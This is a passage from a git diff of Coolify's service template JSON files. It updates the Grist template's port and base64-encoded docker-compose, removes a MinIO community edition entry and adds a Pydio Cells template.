aQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==", + "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF84NDg0CiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnQVBQX0RPQ19VUkw9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xPR0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==", "tags": [ "lowcode", "nocode", @@ -1902,7 +1902,7 @@ "category": "productivity", "logo": "svgs/grist.svg", "minversion": "0.0.0", - "port": "443" + "port": "8484" }, "grocy": { "documentation": "https://github.com/grocy/grocy?utm_source=coolify.io", @@ -2830,21 +2830,6 @@ "minversion": "0.0.0", "port": "8080" }, - "minio-community-edition": { - "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io", - "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.", - "compose": "c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "object", - "storage", - "server", - "s3", - "api" - ], - "category": "storage", - "logo": "svgs/minio.svg", - "minversion": "0.0.0" - }, "mixpost": { "documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io", "slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.", @@ -5246,5 +5231,17 @@ "logo": "svgs/marimo.svg", "minversion": "0.0.0", "port": "8080" + }, + "pydio-cells": { + "documentation": "https://docs.pydio.com/?utm_source=coolify.io", + "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.", + "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NFTExTXzgwODAKICAgICAgLSAnQ0VMTFNfU0lURV9FWFRFUk5BTD0ke1NFUlZJQ0VfVVJMX0NFTExTfScKICAgICAgLSBDRUxMU19TSVRFX05PX1RMUz0xCiAgICB2b2x1bWVzOgogICAgICAtICdjZWxsc19kYXRhOi92YXIvY2VsbHMnCiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ215c3FsX2RhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotY2VsbHN9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQo=", + "tags": [ + "storage" + ], + "category": null, + "logo": "svgs/cells.svg", + "minversion": "0.0.0", + "port": "8080" } } diff --git a/templates/service-templates.json b/templates/service-templates.json index 580834a21..2a08e7b4b 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -1891,7 +1891,7 @@ "grist": { "documentation": "https://support.getgrist.com/?utm_source=coolify.io", "slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.", - "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfNDQzCiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0FQUF9ET0NfVVJMPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSAnR1JJU1RfU1VQUE9SVF9BTk9OPSR7U1VQUE9SVF9BTk9OOi1mYWxzZX0nCiAgICAgIC0gJ0dSSVNUX0ZPUkNFX0xPR0lOPSR7Rk9SQ0VfTE9HSU46LXRydWV9JwogICAgICAtICdDT09LSUVfTUFYX0FHRT0ke0NPT0tJRV9NQVhfQUdFOi04NjQwMDAwMH0nCiAgICAgIC0gJ0dSSVNUX1BBR0VfVElUTEVfU1VGRklYPSR7UEFHRV9USVRMRV9TVUZGSVg6LSAtIFN1ZmZpeH0nCiAgICAgIC0gJ0dSSVNUX0hJREVfVUlfRUxFTUVOVFM9JHtISURFX1VJX0VMRU1FTlRTOi1iaWxsaW5nLHNlbmRUb0RyaXZlLHN1cHBvcnRHcmlzdCxtdWx0aUFjY291bnRzLHR1dG9yaWFsc30nCiAgICAgIC0gJ0dSSVNUX1VJX0ZFQVRVUkVTPSR7VUlfRkVBVFVSRVM6LWhlbHBDZW50ZXIsYmlsbGluZyx0ZW1wbGF0ZXMsY3JlYXRlU2l0ZSxtdWx0aVNpdGUsc2VuZFRvRHJpdmUsdHV0b3JpYWxzLHN1cHBvcnRHcmlzdH0nCiAgICAgIC0gJ0dSSVNUX0RFRkFVTFRfRU1BSUw9JHtERUZBVUxUX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnR1JJU1RfT1JHX0lOX1BBVEg9JHtPUkdfSU5fUEFUSDotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX09JRENfU1BfSE9TVD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVH0nCiAgICAgIC0gJ1RZUEVPUk1fUE9SVD0ke1RZUEVPUk1fUE9SVDotNTQzMn0nCiAgICAgIC0gJ1RZUEVPUk1fTE9HR0lORz0ke1RZUEVPUk1fTE9HR0lORzotZmFsc2V9JwogICAgICAtICdSRURJU19VUkw9JHtSRURJU19VUkw6LXJlZGlzOi8vcmVkaXM6NjM3OX0nCiAgICAgIC0gJ0dSSVNUX0hFTFBfQ0VOVEVSPSR7U0VSVklDRV9GUUROX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX0ZRRE49JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L3Rlcm1zJwogICAgICAtICdGUkVFX0NPQUNISU5HX0NBTExfVVJMPSR7RlJFRV9DT0FDSElOR19DQUxMX1VSTH0nCiAgICAgIC0gJ0dSSVNUX0NPTlRBQ1RfU1VQUE9SVF9VUkw9JHtDT05UQUNUX1NVUFBPUlRfVVJMfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0LWRhdGE6L3BlcnNpc3QnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5vZGUKICAgICAgICAtICctZScKICAgICAgICAtICJyZXF1aXJlKCdodHRwJykuZ2V0KCdodHRwOi8vbG9jYWxob3N0Ojg0ODQvc3RhdHVzJywgcmVzID0+IHByb2Nlc3MuZXhpdChyZXMuc3RhdHVzQ29kZSA9PT0gMjAwID8gMCA6IDEpKSIKICAgICAgICAtICc+IC9kZXYvbnVsbCAyPiYxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREFUQUJBU0U6LWdyaXN0LWRifScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6NycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK", + "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfODQ4NAogICAgICAtICdBUFBfSE9NRV9VUkw9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9QT1JUPSR7VFlQRU9STV9QT1JUOi01NDMyfScKICAgICAgLSAnVFlQRU9STV9MT0dHSU5HPSR7VFlQRU9STV9MT0dHSU5HOi1mYWxzZX0nCiAgICAgIC0gJ1JFRElTX1VSTD0ke1JFRElTX1VSTDotcmVkaXM6Ly9yZWRpczo2Mzc5fScKICAgICAgLSAnR1JJU1RfSEVMUF9DRU5URVI9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L2hlbHAnCiAgICAgIC0gJ0dSSVNUX1RFUk1TX09GX1NFUlZJQ0VfRlFETj0ke1NFUlZJQ0VfRlFETl9HUklTVH0vdGVybXMnCiAgICAgIC0gJ0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkw9JHtGUkVFX0NPQUNISU5HX0NBTExfVVJMfScKICAgICAgLSAnR1JJU1RfQ09OVEFDVF9TVVBQT1JUX1VSTD0ke0NPTlRBQ1RfU1VQUE9SVF9VUkx9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3QtZGF0YTovcGVyc2lzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gInJlcXVpcmUoJ2h0dHAnKS5nZXQoJ2h0dHA6Ly9sb2NhbGhvc3Q6ODQ4NC9zdGF0dXMnLCByZXMgPT4gcHJvY2Vzcy5leGl0KHJlcy5zdGF0dXNDb2RlID09PSAyMDAgPyAwIDogMSkpIgogICAgICAgIC0gJz4gL2Rldi9udWxsIDI+JjEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAo=", "tags": [ "lowcode", "nocode", @@ -1902,7 +1902,7 @@ "category": "productivity", "logo": "svgs/grist.svg", "minversion": "0.0.0", - "port": "443" + "port": "8484" }, "grocy": { "documentation": "https://github.com/grocy/grocy?utm_source=coolify.io", @@ -2830,21 +2830,6 @@ "minversion": "0.0.0", "port": "8080" }, - "minio-community-edition": { - "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io", - "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.", - "compose": 